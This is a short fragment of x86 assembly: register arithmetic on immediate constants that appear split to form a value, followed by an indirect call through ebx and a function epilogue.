add eax, 0x9bfc6367
mov ecx, 0x9c2428fe
add ecx, 0x73dbd702
add ecx, dword [ebp - 0xc]
call ebx
leave
ret